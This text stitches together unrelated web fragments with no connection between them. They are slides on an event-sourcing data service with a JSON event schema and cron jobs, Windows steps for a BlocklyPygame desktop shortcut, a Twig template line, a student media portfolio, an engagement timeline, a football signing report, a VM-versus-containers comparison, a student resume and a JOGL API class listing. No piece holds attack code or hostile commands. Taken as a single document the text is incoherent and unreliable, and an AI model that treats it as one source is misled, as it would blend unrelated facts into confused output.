- continuous need for integration e.g. for reporting needs
- no single services fits the bill
Bloody solutions (1/2)
Mega SQL query
- on which database, since they are all small?
- how to avoid thrashing the database machines?
When the ETL job to pull payments into the data warehouse starts, we go down for 10 minutes
Bloody solutions (2/2)
Joining CSV files
- they become very large with historical data
- inefficient even on a single day as data could be filtered
- process of joining and filtering them becomes fragile as a consequence
Every morning at 7am I run a few MongoDB `touch` commands to warm up the database in RAM before the circus starts
The source-of-truth service: Demetra
It works! Why?
- there is all the data there, forever
- decoupling over delivery and calculation of Domain Events
- consolidation of data processing infrastructure in a single codebase
How: schema
{
"id": "20ec0521-d127-4038-92ed-a4196c33705b",
"meta": {
"service": "core",
"type": "payment-completed",
"created_at": "2016-01-01T12:00:00.000Z",
"received_at": "2016-01-01T12:00:00.200Z",
"aggregate_id": "payment/23"
"correlation_id": "container/subscription/42",
},
"payload": {
"amount": "3.0000/EUR",
...
}
}
How: technologies
How: projections
{
"meta.type": { "$in" : interesting_types },
"received_at": { "$gt": last_checkpoint, "$lt": stable_timestamp }
}
How: processes
* * * * * www-data /var/www/demetra/bin/demetra projection:my-report
* * * * * www-data sleep 10 && /var/www/demetra/bin/demetra projection:my-report
* * * * * www-data sleep 20 && /var/www/demetra/bin/demetra projection:my-report
...
Issues: delivery
Request::to('https://source-of-truth.com/events', 'POST')
->withTheUsualAuthentication(...)
->asOptimisticJob()
->ensureIs(200, 409)
->retryPolicyIs(ExponentialBackoff::upTo('P1Y'))
->send()
Issues: out-of-order
- purchase-landed, created 14:00:00, received 14:02:08 after N retries
- purchase-completed, created 14:01:50, received 14:01:51
Issues: events are forever
Issues: importing
Issues: archival
Conclusions
- Domain Events are non-intrusive
- A Source Of Truth very often comes up
- Be prepared


Locate the Windows key on your keyboard...It looks like this:
Hold the windows key down and press the r key
A window should pop up
In that window, enter the command: explorer:
Locate the BlocklyPyGame directory on the C: drive:
Right click on the C:\BlocklyPygame directory and select Create Shortcut:
Select yes to place the shortcut on the desktop:
Find the BlocklyPygame shortcut on your desktop


{% extends<EMAIL_ADDRESS>%} {% form_theme board_form<EMAIL_ADDRESS>%} {% block content %}


This is the character and game trailer I produced as part of my 2nd Year in VET/VCE Creative and Digital Media
This is my short film 'RED', which I produced as part of Year 11 Media
This is my short film 'Removed', which I produced as part of Year 12 Media
This is my music video 'Crazy in Love', which I produced as part of Year 11 Media. This also won an award at the 2018 Visual Arts and Technology Exhibition
This is the movie trailer 'The Removal', which I produced as part of Year 10 Media
This is the music video 'Stressed Out', which I produced as part of Year 9 Media
Here are some pictures of my dog Charlie. I hope you love him as much as I do.
These are some photos I took as part of my 'Water Based' Photography folio in Year 10
This is my most recent YouTube video, which I use to practise editing techinques


Our Story
Both Ivana and Kevin have never been engaged before. Their paths never crossed prior to their first date despite knowing some of the same people in Atlanta. Timing is incredibly important and they feel fortunate to have met each other when they did.
-
First Date
June 9, 2016We first met for a drink at Apres Diem in midtown Atlanta.
-
In A Relationship
July, 2016Knowing this was something special, we agreed to date exclusively after a few dates.
-
Engaged
February 22, 2017While Ivana was working in Puerto Rico, Kevin visited her and proposed on Condado beach in San Juan.


Stowmarket snap up former Town star Bowditch
by Carl MarstonStowmarket Town, the runaway leaders of the Thurlow Nunn Premier Division, have announced a big new signing in Dean Bowditch.
The Suffolk club, who are 15 points clear at the top, ahead of nearest rivals Wroxham, have recruited front-runner Bowditch on a deal until the end of the season - a major coup.
Former Ipswich Town star Bowditch, who made 72 league appearances for Town between 2002 and 2009, could make his Stow debut at home to Mildenhall Town this Saturday.
The 33-year-old, who also played for Yeovil, MK Dons (227 first-team games) and Northampton during a distinguished professional career, was released by the Cobblers last summer.
Bowditch made his Town debut as a 16-year-old in an East Anglian derby, as a 71st minute substitute in a 2-0 victory at Norwich City in March, 2003. He made 419 league games during his professional career.


Virtualization enables you to run multiple operating systems on the hardware of a single physical server, while containerization enables you to deploy multiple applications using the same operating system on a single virtual machine or server.
Virtual machines are great for supporting applications that require an operating system’s full functionality when you want to deploy multiple applications on a server, or when you have a wide variety of operating systems to manage. Containers are a better choice when your biggest priority is to minimize the number of servers you’re using for multiple applications.
With containerization, developers don’t need to write application code into different VMs operating different app components to retrieve compute, storage, and networking resources.
Virtual machines are commonly used for demanding applications, network infrastructure, and apps that will consume most of the resources of the VM.
Containers are commonly used for web, applications and caching services, network daemons, and small databases
| VM's: | Containers: |
|---|---|
| Heavyweight | Lightwight |
| Limited performance | Native performance |
| Each VM runs in its own OS | All containers share the host OS |
| Fully isolated and hence more secure | Process-level isolation, possibly less secure |


Entertainer,Parties with Pizzazz, Memphis, TN — 2013—present A local business that employs teens and young adults as party specialists in a range of different events all over the greater Memphis area. My duties include face painting, balloon twisting and facilitating different events.
Finalist, Let’s Innovate Through Education, Memphis, TN — 2016 — present Selected as one of 50 finalists out of an applicant pool of 2,000 students to be trained as an entrepreneur. Developed 21st century skills such as marketing, budgeting, communication, and public speaking through a 6-month rigorous curriculum. Pitched entrepreneurial idea in front of 400 people at Pitch Night. Scored in the top 20% in terms of 21st century skills. The program was selected as one of the 20 ideas that can change the world by Forbes Magazine and as a finalist for the Obama Foundation Fellowship.
Executive Director, Adoptify, Memphis, TN — 2016 — 2018- A non-profit organization that aids in helping pets get adopted. Designed a website platform that helps pets get matched with potential owners. Built relationships with a variety of stakeholders in the animal community. Managed three social media platforms. Invested and analyzed social media ad purchases to increase customer conversions for adoptions of pets.
Imagine U Collegiate Accelerator , Memphis, TN — Summer 2018 A college accelerator allows twenty-three students from seven local colleges to work together on new startups. The students in the program learn innovation methods, business modeling, validation and paths to fundraising. They also work on elevator pitches, giving peer feedback, conducting customer discovery interviews, developing prototypes and meeting potential business mentors and funders. Among the various start-up ideas, I was able to help lead a start-up focused on a mission to alleviate mental illness in the forms of stress, anxiety, and energy by means of incorporating essential oils/aromatherapy into everyday lifestyles as Chief Information Officer (CIO).
Colorado State University, Fort Collins, Colorado — Bachelors of Science, 2017-2018
Whitehaven High School, Memphis, Tennessee — High School Diploma, 2013-2017
Microsoft Office, Social Media Networking, Marketing, Public Speaking, and Budgeting.
Builders, 2015-2017 — Various community service and leadership activities spread over the span of two years.
Zoo Boo, 2016 — Dressed as Bamboo the Panda, greeted visitors, passed out candy, and took pictures.
Zoo Lights, 2016 — Dressed as Bamboo the Panda, greeted visitors, passed out candy, and took pictures.
Zoo General Volunteer, 2018— Long-term volunteer that adheres to an ongoing schedule and comes regularly to the Zoo to do various tasks.
Colorado State University RamRide, 2017 — A safe ride home for university students during nights out. (Volunteer Navigator)


| Interface | Description |
|---|---|
| AnimatorBase.AnimatorImpl | |
| CustomGLEventListener |
Extended
GLEventListener interface
supporting more fine grained control over the implementation. |
| GLArrayDataEditable |
The total number of bytes hold by the referenced buffer is:
getComponentSize()* getComponentNumber() * getElementNumber()
|
| GLPixelBuffer.GLPixelBufferProvider |
Allows user to interface with another toolkit to define
GLPixelBuffer.GLPixelAttributes and memory buffer to produce TextureData . |
| GLPixelBuffer.SingletonGLPixelBufferProvider |
Single
GLPixelBuffer provider. |
| TileRendererBase.TileRendererListener |
Listener for tile renderer events, intended to extend
GLEventListener implementations,
enabling tile rendering via TileRendererBase.attachAutoDrawable(GLAutoDrawable) . |
| Class | Description |
|---|---|
| Animator |
An Animator can be attached to one or more
GLAutoDrawable s to drive their display() methods in a loop. |
| AnimatorBase |
Base implementation of GLAnimatorControl
|
| FPSAnimator |
An Animator subclass which attempts to achieve a target
frames-per-second rate to avoid using all CPU time.
|
| Gamma |
Provides convenient wrapper for
GLDrawableFactory control over
individual display's gamma, brightness and contrast values
via the hardware gamma ramp tables. |
| GLArrayDataClient | |
| GLArrayDataServer | |
| GLArrayDataWrapper | |
| GLBuffers |
Utility routines for dealing with direct buffers.
|
| GLDrawableUtil | |
| GLDrawableUtil.ReshapeGLEventListener |
GLRunnable to issue GLEventListener.reshape(GLAutoDrawable, int, int, int, int) ,
returning true on GLRunnable.run(GLAutoDrawable) . |
| GLPixelBuffer |
OpenGL pixel data buffer, allowing user to provide buffers via their
GLPixelBuffer.GLPixelBufferProvider implementation. |
| GLPixelBuffer.DefaultGLPixelBufferProvider | |
| GLPixelBuffer.GLPixelAttributes |
Pixel attributes.
|
| GLPixelStorageModes |
Utility to safely set and restore the PACK and UNPACK pixel storage mode,
regardless of the GLProfile.
|
| GLReadBufferUtil |
Utility to read out the current FB to TextureData, optionally writing the data back to a texture object.
|
| ImmModeSink |
Immediate mode sink, implementing OpenGL fixed function subset of immediate mode operations, i.e.
|
| PMVMatrix |
PMVMatrix implements a subset of the fixed function pipeline
regarding the projection (P), modelview (Mv) matrix operation
which is specified in
GLMatrixFunc . |
| PNGPixelRect | |
| RandomTileRenderer |
Variation of
TileRenderer w/o using fixed tiles but arbitrary rectangular regions. |
| TileRenderer |
A fairly direct port of Brian Paul's tile rendering library, found
at
http://www.mesa3d.org/brianp/TR.html .
|
| TileRendererBase |
A fairly direct port of Brian Paul's tile rendering library, found
at
http://www.mesa3d.org/brianp/TR.html .
|
| TimeFrameI |
Integer time frame in milliseconds, maybe specialized for texture/video, audio, ..
|
| Exception | Description |
|---|---|
| AnimatorBase.UncaughtAnimatorException |
Copyright 2010 JogAmp Community.


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